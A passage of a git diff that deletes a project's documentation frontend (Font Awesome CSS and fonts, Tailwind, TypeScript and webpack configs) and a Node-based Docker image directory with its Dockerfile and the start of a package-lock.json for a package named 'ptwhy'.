Brands";font-weight:400}.fa.fa-resistance:before{content:"\f1d0"}.fa.fa-empire,.fa.fa-ge{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-ge:before{content:"\f1d1"}.fa.fa-git-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-git-square:before{content:"\f1d2"}.fa.fa-git,.fa.fa-hacker-news,.fa.fa-y-combinator-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-y-combinator-square:before{content:"\f1d4"}.fa.fa-yc-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-yc-square:before{content:"\f1d4"}.fa.fa-qq,.fa.fa-tencent-weibo,.fa.fa-wechat,.fa.fa-weixin{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-wechat:before{content:"\f1d7"}.fa.fa-send:before{content:"\f1d8"}.fa.fa-paper-plane-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-paper-plane-o:before{content:"\f1d8"}.fa.fa-send-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-send-o:before{content:"\f1d8"}.fa.fa-circle-thin{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-circle-thin:before{content:"\f111"}.fa.fa-header:before{content:"\f1dc"}.fa.fa-futbol-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-futbol-o:before{content:"\f1e3"}.fa.fa-soccer-ball-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-soccer-ball-o:before{content:"\f1e3"}.fa.fa-slideshare,.fa.fa-twitch,.fa.fa-yelp{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-newspaper-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-newspaper-o:before{content:"\f1ea"}.fa.fa-cc-amex,.fa.fa-cc-discover,.fa.fa-cc-mastercard,.fa.fa-cc-paypal,.fa.fa-cc-stripe,.fa.fa-cc-visa,.fa.fa-google-wallet,.fa.fa-paypal{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-bell-slash-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-bell-slash-o:before{content:"\f1f6"}.fa.fa-trash:before{content:"\f2ed"}.fa.fa-copyright{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-eyedropper:before{content:"\f1fb"}.fa.fa-area-chart:before{content:"\f1fe"}.fa.fa-pie-chart:before{content:"\f200"}.fa.fa-line-chart:before{content:"\f201"}.fa.fa-lastfm,.fa.fa-lastfm-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-lastfm-square:before{content:"\f203"}.fa.fa-angellist,.fa.fa-ioxhost{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-cc{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-cc:before{content:"\f20a"}.fa.fa-ils:before,.fa.fa-shekel:before,.fa.fa-sheqel:before{content:"\f20b"}.fa.fa-buysellads,.fa.fa-connectdevelop,.fa.fa-dashcube,.fa.fa-forumbee,.fa.fa-leanpub,.fa.fa-sellsy,.fa.fa-shirtsinbulk,.fa.fa-simplybuilt,.fa.fa-skyatlas{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-diamond{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-diamond:before{content:"\f3a5"}.fa.fa-intersex:before,.fa.fa-transgender:before{content:"\f224"}.fa.fa-transgender-alt:before{content:"\f225"}.fa.fa-facebook-official{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-facebook-official:before{content:"\f09a"}.fa.fa-pinterest-p,.fa.fa-whatsapp{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-hotel:before{content:"\f236"}.fa.fa-medium,.fa.fa-viacoin,.fa.fa-y-combinator,.fa.fa-yc{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-yc:before{content:"\f23b"}.fa.fa-expeditedssl,.fa.fa-opencart,.fa.fa-optin-monster{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-battery-4:before,.fa.fa-battery:before{content:"\f240"}.fa.fa-battery-3:before{content:"\f241"}.fa.fa-battery-2:before{content:"\f242"}.fa.fa-battery-1:before{content:"\f243"}.fa.fa-battery-0:before{content:"\f244"}.fa.fa-object-group,.fa.fa-object-ungroup,.fa.fa-sticky-note-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-sticky-note-o:before{content:"\f249"}.fa.fa-cc-diners-club,.fa.fa-cc-jcb{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-clone{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hourglass-o:before{content:"\f254"}.fa.fa-hourglass-1:before{content:"\f251"}.fa.fa-hourglass-2:before{content:"\f252"}.fa.fa-hourglass-3:before{content:"\f253"}.fa.fa-hand-rock-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-rock-o:before{content:"\f255"}.fa.fa-hand-grab-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-grab-o:before{content:"\f255"}.fa.fa-hand-paper-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-paper-o:before{content:"\f256"}.fa.fa-hand-stop-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-stop-o:before{content:"\f256"}.fa.fa-hand-scissors-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-scissors-o:before{content:"\f257"}.fa.fa-hand-lizard-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-lizard-o:before{content:"\f258"}.fa.fa-hand-spock-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-spock-o:before{content:"\f259"}.fa.fa-hand-pointer-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-pointer-o:before{content:"\f25a"}.fa.fa-hand-peace-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-peace-o:before{content:"\f25b"}.fa.fa-registered{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-creative-commons,.fa.fa-gg,.fa.fa-gg-circle,.fa.fa-odnoklassniki,.fa.fa-odnoklassniki-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-odnoklassniki-square:before{content:"\f264"}.fa.fa-chrome,.fa.fa-firefox,.fa.fa-get-pocket,.fa.fa-internet-explorer,.fa.fa-opera,.fa.fa-safari,.fa.fa-wikipedia-w{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-television:before{content:"\f26c"}.fa.fa-500px,.fa.fa-amazon,.fa.fa-contao{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-calendar-plus-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-calendar-plus-o:before{content:"\f271"}.fa.fa-calendar-minus-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-calendar-minus-o:before{content:"\f272"}.fa.fa-calendar-times-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-calendar-times-o:before{content:"\f273"}.fa.fa-calendar-check-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-calendar-check-o:before{content:"\f274"}.fa.fa-map-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-map-o:before{content:"\f279"}.fa.fa-commenting:before{content:"\f4ad"}.fa.fa-commenting-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-commenting-o:before{content:"\f4ad"}.fa.fa-houzz,.fa.fa-vimeo{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-vimeo:before{content:"\f27d"}.fa.fa-black-tie,.fa.fa-edge,.fa.fa-fonticons,.fa.fa-reddit-alien{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-credit-card-alt:before{content:"\f09d"}.fa.fa-codiepie,.fa.fa-fort-awesome,.fa.fa-mixcloud,.fa.fa-modx,.fa.fa-product-hunt,.fa.fa-scribd,.fa.fa-usb{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-pause-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-pause-circle-o:before{content:"\f28b"}.fa.fa-stop-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-stop-circle-o:before{content:"\f28d"}.fa.fa-bluetooth,.fa.fa-bluetooth-b,.fa.fa-envira,.fa.fa-gitlab,.fa.fa-wheelchair-alt,.fa.fa-wpbeginner,.fa.fa-wpforms{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-wheelchair-alt:before{content:"\f368"}.fa.fa-question-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-question-circle-o:before{content:"\f059"}.fa.fa-volume-control-phone:before{content:"\f2a0"}.fa.fa-asl-interpreting:before{content:"\f2a3"}.fa.fa-deafness:before,.fa.fa-hard-of-hearing:before{content:"\f2a4"}.fa.fa-glide,.fa.fa-glide-g{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-signing:before{content:"\f2a7"}.fa.fa-viadeo,.fa.fa-viadeo-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-viadeo-square:before{content:"\f2aa"}.fa.fa-snapchat,.fa.fa-snapchat-ghost{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-snapchat-ghost:before{content:"\f2ab"}.fa.fa-snapchat-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-snapchat-square:before{content:"\f2ad"}.fa.fa-first-order,.fa.fa-google-plus-official,.fa.fa-pied-piper,.fa.fa-themeisle,.fa.fa-yoast{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-google-plus-official:before{content:"\f2b3"}.fa.fa-google-plus-circle{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-google-plus-circle:before{content:"\f2b3"}.fa.fa-fa,.fa.fa-font-awesome{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-fa:before{content:"\f2b4"}.fa.fa-handshake-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-handshake-o:before{content:"\f2b5"}.fa.fa-envelope-open-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-envelope-open-o:before{content:"\f2b6"}.fa.fa-linode{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-address-book-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-address-book-o:before{content:"\f2b9"}.fa.fa-vcard:before{content:"\f2bb"}.fa.fa-address-card-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-address-card-o:before{content:"\f2bb"}.fa.fa-vcard-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-vcard-o:before{content:"\f2bb"}.fa.fa-user-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-user-circle-o:before{content:"\f2bd"}.fa.fa-user-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-user-o:before{content:"\f007"}.fa.fa-id-badge{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-drivers-license:before{content:"\f2c2"}.fa.fa-id-card-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-id-card-o:before{content:"\f2c2"}.fa.fa-drivers-license-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-drivers-license-o:before{content:"\f2c2"}.fa.fa-free-code-camp,.fa.fa-quora,.fa.fa-telegram{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-thermometer-4:before,.fa.fa-thermometer:before{content:"\f2c7"}.fa.fa-thermometer-3:before{content:"\f2c8"}.fa.fa-thermometer-2:before{content:"\f2c9"}.fa.fa-thermometer-1:before{content:"\f2ca"}.fa.fa-thermometer-0:before{content:"\f2cb"}.fa.fa-bathtub:before,.fa.fa-s15:before{content:"\f2cd"}.fa.fa-window-maximize,.fa.fa-window-restore{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-times-rectangle:before{content:"\f410"}.fa.fa-window-close-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-window-close-o:before{content:"\f410"}.fa.fa-times-rectangle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-times-rectangle-o:before{content:"\f410"}.fa.fa-bandcamp,.fa.fa-eercast,.fa.fa-etsy,.fa.fa-grav,.fa.fa-imdb,.fa.fa-ravelry{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-eercast:before{content:"\f2da"}.fa.fa-snowflake-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-snowflake-o:before{content:"\f2dc"}.fa.fa-meetup,.fa.fa-superpowers,.fa.fa-wpexplorer{font-family:"Font Awesome 6 Brands";font-weight:400}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/css/v5-font-face.css b/documentation/frontend/static/fontawesome/css/v5-font-face.css
deleted file mode 100644
index 7b736b1..0000000
--- a/documentation/frontend/static/fontawesome/css/v5-font-face.css
+++ /dev/null
@@ -1,22 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-@font-face {
- font-family: 'Font Awesome 5 Brands';
- font-display: block;
- font-weight: 400;
- src: url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.ttf") format("truetype"); }
-
-@font-face {
- font-family: 'Font Awesome 5 Free';
- font-display: block;
- font-weight: 900;
- src: url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.ttf") format("truetype"); }
-
-@font-face {
- font-family: 'Font Awesome 5 Free';
- font-display: block;
- font-weight: 400;
- src: url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.ttf") format("truetype"); }
diff --git a/documentation/frontend/static/fontawesome/css/v5-font-face.min.css b/documentation/frontend/static/fontawesome/css/v5-font-face.min.css
deleted file mode 100644
index 0cb8f13..0000000
--- a/documentation/frontend/static/fontawesome/css/v5-font-face.min.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-@font-face{font-family:"Font Awesome 5 Brands";font-display:block;font-weight:400;src:url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:900;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}@font-face{font-family:"Font Awesome 5 Free";font-display:block;font-weight:400;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype")}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/webfonts/fa-brands-400.ttf b/documentation/frontend/static/fontawesome/webfonts/fa-brands-400.ttf
deleted file mode 100644
index 1fbb1f7..0000000
Binary files a/documentation/frontend/static/fontawesome/webfonts/fa-brands-400.ttf and /dev/null differ
diff --git a/documentation/frontend/static/fontawesome/webfonts/fa-brands-400.woff2 b/documentation/frontend/static/fontawesome/webfonts/fa-brands-400.woff2
deleted file mode 100644
index 5d28021..0000000
Binary files a/documentation/frontend/static/fontawesome/webfonts/fa-brands-400.woff2 and /dev/null differ
diff --git a/documentation/frontend/static/fontawesome/webfonts/fa-regular-400.ttf b/documentation/frontend/static/fontawesome/webfonts/fa-regular-400.ttf
deleted file mode 100644
index 549d68d..0000000
Binary files a/documentation/frontend/static/fontawesome/webfonts/fa-regular-400.ttf and /dev/null differ
diff --git a/documentation/frontend/static/fontawesome/webfonts/fa-regular-400.woff2 b/documentation/frontend/static/fontawesome/webfonts/fa-regular-400.woff2
deleted file mode 100644
index 18400d7..0000000
Binary files a/documentation/frontend/static/fontawesome/webfonts/fa-regular-400.woff2 and /dev/null differ
diff --git a/documentation/frontend/static/fontawesome/webfonts/fa-solid-900.ttf b/documentation/frontend/static/fontawesome/webfonts/fa-solid-900.ttf
deleted file mode 100644
index bb2a869..0000000
Binary files a/documentation/frontend/static/fontawesome/webfonts/fa-solid-900.ttf and /dev/null differ
diff --git a/documentation/frontend/static/fontawesome/webfonts/fa-solid-900.woff2 b/documentation/frontend/static/fontawesome/webfonts/fa-solid-900.woff2
deleted file mode 100644
index 758dd4f..0000000
Binary files a/documentation/frontend/static/fontawesome/webfonts/fa-solid-900.woff2 and /dev/null differ
diff --git a/documentation/frontend/static/fontawesome/webfonts/fa-v4compatibility.ttf b/documentation/frontend/static/fontawesome/webfonts/fa-v4compatibility.ttf
deleted file mode 100644
index 8c5864c..0000000
Binary files a/documentation/frontend/static/fontawesome/webfonts/fa-v4compatibility.ttf and /dev/null differ
diff --git a/documentation/frontend/static/fontawesome/webfonts/fa-v4compatibility.woff2 b/documentation/frontend/static/fontawesome/webfonts/fa-v4compatibility.woff2
deleted file mode 100644
index f94bec2..0000000
Binary files a/documentation/frontend/static/fontawesome/webfonts/fa-v4compatibility.woff2 and /dev/null differ
diff --git a/documentation/frontend/tailwind.config.js b/documentation/frontend/tailwind.config.js
deleted file mode 100644
index 555fc40..0000000
--- a/documentation/frontend/tailwind.config.js
+++ /dev/null
@@ -1,23 +0,0 @@
-const defaultTheme = require('tailwindcss/defaultTheme')
-
-
-/** @type {import('tailwindcss').Config} */
-module.exports = {
- content: [
- "src/html/**"
- ],
- theme: {
- fontFamily: {
- 'mono': [
- '"DejaVuSansM Nerd Font"', ...defaultTheme.fontFamily.mono,
- ],
- },
- extend: {
- gridTemplateColumns: {
- 'sessions': 'auto min-content min-content',
- },
- },
- },
- plugins: [],
-}
-
diff --git a/documentation/frontend/tsconfig.json b/documentation/frontend/tsconfig.json
deleted file mode 100644
index 861f9fc..0000000
--- a/documentation/frontend/tsconfig.json
+++ /dev/null
@@ -1,12 +0,0 @@
-{
- "$schema": "https://json.schemastore.org/tsconfig.json",
- "compilerOptions": {
- "module": "commonjs",
- "target": "es2021",
- "allowSyntheticDefaultImports": true,
- "esModuleInterop": true
- },
- "include": [
- "src/**/*.ts"
- ]
-}
diff --git a/documentation/frontend/webpack.config.js b/documentation/frontend/webpack.config.js
deleted file mode 100644
index 759a66d..0000000
--- a/documentation/frontend/webpack.config.js
+++ /dev/null
@@ -1,32 +0,0 @@
-const path = require('path');
-
-const config = {
- devtool: 'inline-source-map',
- module: {
- rules: [
- {
- test: /\.tsx?$/,
- use: 'ts-loader',
- exclude: /node_modules/
- },
- {
- test: /\.js$/,
- use: ["source-map-loader"],
- enforce: "pre",
- exclude: /node_modules/
- }
- ]
- },
- resolve: {
- modules: [
- 'node_modules',
- ],
- extensions: [ '.tsx', '.ts', '.js' ],
- },
- output: {
- filename: '[name].js',
- path: path.resolve(__dirname)
- },
- mode: 'production'
-};
-module.exports = config;
diff --git a/documentation/image-js/.dockerignore b/documentation/image-js/.dockerignore
deleted file mode 100644
index 9209ef5..0000000
--- a/documentation/image-js/.dockerignore
+++ /dev/null
@@ -1,2 +0,0 @@
-node_modules
-out
diff --git a/documentation/image-js/Dockerfile b/documentation/image-js/Dockerfile
deleted file mode 100644
index 10935f2..0000000
--- a/documentation/image-js/Dockerfile
+++ /dev/null
@@ -1,18 +0,0 @@
-FROM node:alpine3.19
-RUN apk add g++ make py3-pip openssl zsh mandoc man-pages git
-
-WORKDIR /root/server
-
-COPY package-lock.json .
-COPY package.json .
-
-RUN npm install
-
-COPY . .
-
-RUN npm run build
-
-EXPOSE 3000/tcp
-
-ENTRYPOINT ["node", "out/main.js"]
-
diff --git a/documentation/image-js/package-lock.json b/documentation/image-js/package-lock.json
deleted file mode 100644
index f3f2707..0000000
--- a/documentation/image-js/package-lock.json
+++ /dev/null
@@ -1,1093 +0,0 @@
-{
- "name": "ptwhy",
- "version": "1.0.0",
- "lockfileVersion": 3,
- "requires": true,
- "packages": {
- "": {
- "name": "ptwhy",
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "cors": "^2.8.5",
- "express": "^4.19.2",
- "express-session": "^1.18.0",
- "express-ws": "^5.0.2",
- "memorystore": "^1.6.7",
- "morgan": "^1.10.0",
- "node-pty": "^1.0.0",
- "zod": "^3.23.6"
- },
- "devDependencies": {
- "@types/cors": "^2.8.17",
- "@types/express": "^4.17.21",
- "@types/express-session": "^1.18.0",
- "@types/express-ws": "^3.0.4",
- "@types/morgan": "^1.9.9",
- "@types/node": "^20.12.8",
- "typescript": "^5.4.5"
- }
- },
- "node_modules/@types/body-parser": {
- "version": "1.19.5",
- "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.5.tgz",
- "integrity": "sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==",
- "dev": true,
- "dependencies": {
- "@types/connect": "*",
- "@types/node": "*"
- }
- },
- "node_modules/@types/connect": {
- "version": "3.4.38",
- "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz",
- "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==",
- "dev": true,
- "dependencies": {
- "@types/node": "*"
- }
- },
- "node_modules/@types/cors": {
- "version": "2.8.17",
- "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.17.tgz",
- "integrity": "sha512-8CGDvrBj1zgo2qE+oS3pOCyYNqCPryMWY2bGfwA0dcfopWGgxs+78df0Rs3rc9THP4JkOhLsAa+15VdpAqkcUA==",
- "dev": true,
- "dependencies": {
- "@types/node": "*"
- }
- },
- "node_modules/@types/express": {
- "version": "4.17.21",
- "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.21.tgz",
- "integrity": "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==",
- "dev": true,
- "dependencies": {
- "@types/body-parser": "*",
- "@types/express-serve-static-core": "^4.17.33",
- "@types/qs": "*",
- "@types/serve-static": "*"
- }
- },
- "node_modules/@types/express-serve-static-core": {
- "version": "4.19.0",
- "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.0.tgz",
- "integrity": "sha512-bGyep3JqPCRry1wq+O5n7oiBgGWmeIJXPjXXCo8EK0u8duZGSYar7cGqd3ML2JUsLGeB7fmc06KYo9fLGWqPvQ==",
- "dev": true,
- "dependencies": {
- "@types/node": "*",
- "@types/qs": "*",
- "@types/range-parser": "*",
- "@types/send": "*"
- }
- },
- "node_modules/@types/express-session": {
- "version": "1.18.0",
- "resolved": "https://registry.npmjs.org/@types/express-session/-/express-session-1.18.0.tgz",
- "integrity": "sha512-27JdDRgor6PoYlURY+Y5kCakqp5ulC0kmf7y+QwaY+hv9jEFuQOThgkjyA53RP3jmKuBsH5GR6qEfFmvb8mwOA==",
- "dev": true,
- "dependencies": {
- "@types/express": "*"
- }
- },
- "node_modules/@types/express-ws": {
- "version": "3.0.4",
- "resolved": "https://registry.npmjs.org/@types/express-ws/-/express-ws-3.0.4.tgz",
- "integrity": "sha512-Yjj18CaivG5KndgcvzttWe8mPFinPCHJC2wvyQqVzA7hqeufM8EtWMj6mpp5omg3s8XALUexhOu8aXAyi/DyJQ==",
- "dev": true,
- "dependencies": {
- "@types/express": "*",
- "@types/express-serve-static-core": "*",
- "@types/ws": "*"
- }
- },
- "node_modules/@types/http-errors": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.4.tgz",
- "integrity": "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==",
- "dev": true
- },
- "node_modules/@types/mime": {
- "version": "1.3.5",
- "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz",
- "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==",
- "dev": true
- },
- "node_modules/@types/morgan": {
- "version": "1.9.9",
- "resolved": "https://registry.npmjs.org/@types/morgan/-/morgan-1.9.9.tgz",
- "integrity": "sha512-iRYSDKVaC6FkGSpEVVIvrRGw0DfJMiQzIn3qr2G5B3C//AWkulhXgaBd7tS9/J79GWSYMTHGs7PfI5b3Y8m+RQ==",
- "dev": true,
- "dependencies": {
- "@types/node": "*"
- }
- },
- "node_modules/@types/node": {
- "version": "20.12.8",
- "resolved": "https://registry.npmjs.org/@types/node/-/node-20.12.8.tgz",
- "integrity": "sha512-NU0rJLJnshZWdE/097cdCBbyW1h4hEg0xpovcoAQYHl8dnEyp/NAOiE45pvc+Bd1Dt+2r94v2eGFpQJ4R7g+2w==",
- "dev": true,
- "dependencies": {
- "undici-types": "~5.26.4"
- }
- },
- "node_modules/@types/qs": {
- "version": "6.9.15",
- "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.15.tgz",
- "integrity": "sha512-uXHQKES6DQKKCLh441Xv/dwxOq1TVS3JPUMlEqoEglvlhR6Mxnlew/Xq/LRVHpLyk7iK3zODe1qYHIMltO7XGg==",
- "dev": true
- },
- "node_modules/@types/range-parser": {
- "version": "1.2.7",
- "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz",
- "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==",
- "dev": true
- },
- "node_modules/@types/send": {
- "version": "0.17.4",
- "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.4.tgz",
- "integrity": "sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==",
- "dev": true,
- "dependencies": {
- "@types/mime": "^1",
- "@types/node": "*"
- }
- },
- "node_modules/@types/serve-static": {
- "version": "1.15.7",
- "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.7.tgz",
- "integrity": "sha512-W8Ym+h8nhuRwaKPaDw34QUkwsGi6Rc4yYqvKFo5rm2FUEhCFbzVWrxXUxuKK8TASjWsysJY0nsmNCGhCOIsrOw==",
- "dev": true,
- "dependencies": {
- "@types/http-errors": "*",
- "@types/node": "*",
- "@types/send": "*"
- }
- },
- "node_modules/@types/ws": {
- "version": "8.5.10",
- "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.10.tgz",
- "integrity": "sha512-vmQSUcfalpIq0R9q7uTo2lXs6eGIpt9wtnLdMv9LVpIjCA/+ufZRozlVoVelIYixx1ugCBKDhn89vnsEGOCx9A==",
- "dev": true,
- "dependencies": {
- "@types/node": "*"
- }
- },
- "node_modules/accepts": {
- "version": "1.3.8",
- "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
- "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
- "dependencies": {
- "mime-types": "~2.1.34",
- "negotiator": "0.6.3"
- },
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/array-flatten": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
- "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
- },
- "node_modules/basic-auth": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-2.0.1.tgz",
- "integrity": "sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==",
- "dependencies": {
- "safe-buffer": "5.1.2"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/basic-auth/node_modules/safe-buffer": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
- "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
- },
- "node_modules/body-parser": {
- "version": "1.20.2",
- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.2.tgz",
- "integrity": "sha512-ml9pReCu3M61kGlqoTm2umSXTlRTuGTx0bfYj+uIUKKYycG5NtSbeetV3faSU6R7ajOPw0g/J1PvK4qNy7s5bA==",
- "dependencies": {
- "bytes": "3.1.2",
- "content-type": "~1.0.5",
- "debug": "2.6.9",
- "depd": "2.0.0",
- "destroy": "1.2.0",
- "http-errors": "2.0.0",
- "iconv-lite": "0.4.24",
- "on-finished": "2.4.1",
- "qs": "6.11.0",
- "raw-body": "2.5.2",
- "type-is": "~1.6.18",
- "unpipe": "1.0.0"
- },
- "engines": {
- "node": ">= 0.8",
- "npm": "1.2.8000 || >= 1.4.16"
- }
- },
- "node_modules/bytes": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
